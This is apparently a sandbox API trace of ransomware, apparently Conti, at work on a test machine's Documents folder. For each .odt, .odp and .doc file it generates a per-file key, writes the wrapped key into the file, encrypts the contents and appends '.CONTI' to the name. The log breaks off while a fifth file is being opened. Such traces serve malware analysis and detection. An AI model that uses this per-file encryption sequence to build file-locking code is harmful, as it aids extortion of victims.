	[0139.650] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\SUHCWW_epiNonU.odt" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\suhcww_epinonu.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0139.651] GetLastError () returned 0x0
	[0139.651] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=40317) returned 1
	[0139.651] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9d7d
	[0139.651] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.651] SetEndOfFile (hFile=0x448) returned 1
	[0139.651] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.651] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.651] WriteFile (in: hFile=0x448, lpBuffer=0x6b50294*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b50294*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0139.657] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.657] ReadFile (in: hFile=0x448, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x9d7d, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x9d7d, lpOverlapped=0x0) returned 1
	[0139.658] CryptEncrypt (in: hKey=0x6b7f378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x9d7d, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x9d80) returned 1
	[0139.658] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.658] WriteFile (in: hFile=0x448, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x9d80, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x9d80, lpOverlapped=0x0) returned 1
	[0139.658] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.658] WriteFile (in: hFile=0x448, lpBuffer=0x6b50288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b50288*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0139.658] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.658] CloseHandle (hObject=0x448) returned 1
	[0139.658] GetProcessHeap () returned 0x1720000
	[0139.658] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0139.658] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\SUHCWW_epiNonU.odt" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\SUHCWW_epiNonU.odt") returned="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\SUHCWW_epiNonU.odt"
	[0139.658] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\SUHCWW_epiNonU.odt", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\SUHCWW_epiNonU.odt.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\SUHCWW_epiNonU.odt.CONTI"
	[0139.658] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\SUHCWW_epiNonU.odt" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\suhcww_epinonu.odt"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\SUHCWW_epiNonU.odt.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\suhcww_epinonu.odt.conti")) returned 1
	[0139.659] GetProcessHeap () returned 0x1720000
	[0139.659] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0139.659] CryptDestroyKey (hKey=0x6b7f378) returned 1
	[0139.659] GetProcessHeap () returned 0x1720000
	[0139.659] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176bce8 | out: hHeap=0x1720000) returned 1
	[0139.659] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0139.659] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b4de10 | out: phKey=0x6b4de10*=0x6b7f378) returned 1
	[0139.659] CryptExportKey (in: hKey=0x6b7f378, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4de14, pdwDataLen=0x4d3fec4 | out: pbData=0x6b4de14*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0139.660] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\URJK\\7d1.doc" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\urjk\\7d1.doc")) returned 0x20
	[0139.660] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\URJK\\7d1.doc" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\urjk\\7d1.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0139.660] GetLastError () returned 0x0
	[0139.660] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=1642) returned 1
	[0139.660] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x66a
	[0139.660] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.660] SetEndOfFile (hFile=0x448) returned 1
	[0139.661] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.661] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.661] WriteFile (in: hFile=0x448, lpBuffer=0x6b4de14*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b4de14*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0140.668] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.668] ReadFile (in: hFile=0x448, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x66a, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x66a, lpOverlapped=0x0) returned 1
	[0140.668] CryptEncrypt (in: hKey=0x6b7f378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x66a, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x670) returned 1
	[0140.668] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.668] WriteFile (in: hFile=0x448, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x670, lpOverlapped=0x0) returned 1
	[0140.668] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.668] WriteFile (in: hFile=0x448, lpBuffer=0x6b4de08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b4de08*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0140.668] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.668] CloseHandle (hObject=0x448) returned 1
	[0140.668] GetProcessHeap () returned 0x1720000
	[0140.668] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0140.684] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\URJK\\7d1.doc" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\URJK\\7d1.doc") returned="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\URJK\\7d1.doc"
	[0140.684] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\URJK\\7d1.doc", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\URJK\\7d1.doc.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\URJK\\7d1.doc.CONTI"
	[0140.684] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\URJK\\7d1.doc" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\urjk\\7d1.doc"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\URJK\\7d1.doc.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\urjk\\7d1.doc.conti")) returned 1
	[0140.685] GetProcessHeap () returned 0x1720000
	[0140.685] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0140.685] CryptDestroyKey (hKey=0x6b7f378) returned 1
	[0140.685] GetProcessHeap () returned 0x1720000
	[0140.685] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5908 | out: hHeap=0x1720000) returned 1
	[0140.685] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0140.685] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b4e058 | out: phKey=0x6b4e058*=0x6b7f2b8) returned 1
	[0140.685] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4e05c, pdwDataLen=0x4d3fec4 | out: pbData=0x6b4e05c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0140.687] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\jxUzOSVH4KAS6rx18.odt" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\vyhyfxz0\\pqjcs9rsaqx-0gif\\jxuzosvh4kas6rx18.odt")) returned 0x20
	[0140.687] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\jxUzOSVH4KAS6rx18.odt" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\vyhyfxz0\\pqjcs9rsaqx-0gif\\jxuzosvh4kas6rx18.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410
	[0140.688] GetLastError () returned 0x0
	[0140.688] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=48806) returned 1
	[0140.688] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xbea6
	[0140.688] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.688] SetEndOfFile (hFile=0x410) returned 1
	[0140.688] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.688] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.688] WriteFile (in: hFile=0x410, lpBuffer=0x6b4e05c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b4e05c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0140.691] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.691] ReadFile (in: hFile=0x410, lpBuffer=0xdf60000, nNumberOfBytesToRead=0xbea6, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0xbea6, lpOverlapped=0x0) returned 1
	[0140.692] CryptEncrypt (in: hKey=0x6b7f2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0xbea6, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0xbeb0) returned 1
	[0140.692] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.692] WriteFile (in: hFile=0x410, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0xbeb0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0xbeb0, lpOverlapped=0x0) returned 1
	[0140.692] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.692] WriteFile (in: hFile=0x410, lpBuffer=0x6b4e050*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b4e050*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0140.692] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.692] CloseHandle (hObject=0x410) returned 1
	[0140.692] GetProcessHeap () returned 0x1720000
	[0140.692] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0140.692] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\jxUzOSVH4KAS6rx18.odt" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\jxUzOSVH4KAS6rx18.odt") returned="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\jxUzOSVH4KAS6rx18.odt"
	[0140.693] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\jxUzOSVH4KAS6rx18.odt", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\jxUzOSVH4KAS6rx18.odt.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\jxUzOSVH4KAS6rx18.odt.CONTI"
	[0140.693] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\jxUzOSVH4KAS6rx18.odt" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\vyhyfxz0\\pqjcs9rsaqx-0gif\\jxuzosvh4kas6rx18.odt"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\jxUzOSVH4KAS6rx18.odt.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\vyhyfxz0\\pqjcs9rsaqx-0gif\\jxuzosvh4kas6rx18.odt.conti")) returned 1
	[0140.693] GetProcessHeap () returned 0x1720000
	[0140.693] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0140.693] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0140.693] GetProcessHeap () returned 0x1720000
	[0140.693] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c447f8 | out: hHeap=0x1720000) returned 1
	[0140.693] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0140.694] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b4e4e8 | out: phKey=0x6b4e4e8*=0x6b7f2b8) returned 1
	[0140.694] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4e4ec, pdwDataLen=0x4d3fec4 | out: pbData=0x6b4e4ec*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0140.694] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\KK58FzqaqNVr.odp" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\vyhyfxz0\\pqjcs9rsaqx-0gif\\kk58fzqaqnvr.odp")) returned 0x20
	[0140.694] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\KK58FzqaqNVr.odp" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\vyhyfxz0\\pqjcs9rsaqx-0gif\\kk58fzqaqnvr.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410
	[0140.695] GetLastError () returned 0x0
	[0140.695] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=41069) returned 1
	[0140.695] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xa06d
	[0140.695] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.695] SetEndOfFile (hFile=0x410) returned 1
	[0140.705] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.705] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.705] WriteFile (in: hFile=0x410, lpBuffer=0x6b4e4ec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b4e4ec*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0140.707] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.707] ReadFile (in: hFile=0x410, lpBuffer=0xdf60000, nNumberOfBytesToRead=0xa06d, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0xa06d, lpOverlapped=0x0) returned 1
	[0140.712] CryptEncrypt (in: hKey=0x6b7f2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0xa06d, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0xa070) returned 1
	[0140.712] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.712] WriteFile (in: hFile=0x410, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0xa070, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0xa070, lpOverlapped=0x0) returned 1
	[0140.713] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.713] WriteFile (in: hFile=0x410, lpBuffer=0x6b4e4e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b4e4e0*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0140.713] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.713] CloseHandle (hObject=0x410) returned 1
	[0140.713] GetProcessHeap () returned 0x1720000
	[0140.713] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0140.713] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\KK58FzqaqNVr.odp" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\KK58FzqaqNVr.odp") returned="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\KK58FzqaqNVr.odp"
	[0140.713] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\KK58FzqaqNVr.odp", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\KK58FzqaqNVr.odp.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\KK58FzqaqNVr.odp.CONTI"
	[0140.713] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\KK58FzqaqNVr.odp" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\vyhyfxz0\\pqjcs9rsaqx-0gif\\kk58fzqaqnvr.odp"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\KK58FzqaqNVr.odp.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\vyhyfxz0\\pqjcs9rsaqx-0gif\\kk58fzqaqnvr.odp.conti")) returned 1
	[0140.713] GetProcessHeap () returned 0x1720000
	[0140.713] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0140.713] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0140.714] GetProcessHeap () returned 0x1720000
	[0140.714] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c1fb0 | out: hHeap=0x1720000) returned 1
	[0140.714] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0140.714] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b524c8 | out: phKey=0x6b524c8*=0x6b7f2b8) returned 1
	[0140.714] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b524cc, pdwDataLen=0x4d3fec4 | out: pbData=0x6b524cc*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0140.714] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\xxlb 4iG5DURpbdXe3P.odt" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\xxlb 4ig5durpbdxe3p.odt")) returned 0x20
	[0140.715] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\xxlb 4iG5DURpbdXe3P.odt" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\xxlb 4ig5durpbdxe3p.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410
	[0140.715] GetLastError () returned 0x0
	[0140.715] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=93747) returned 1
	[0140.715] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x16e33
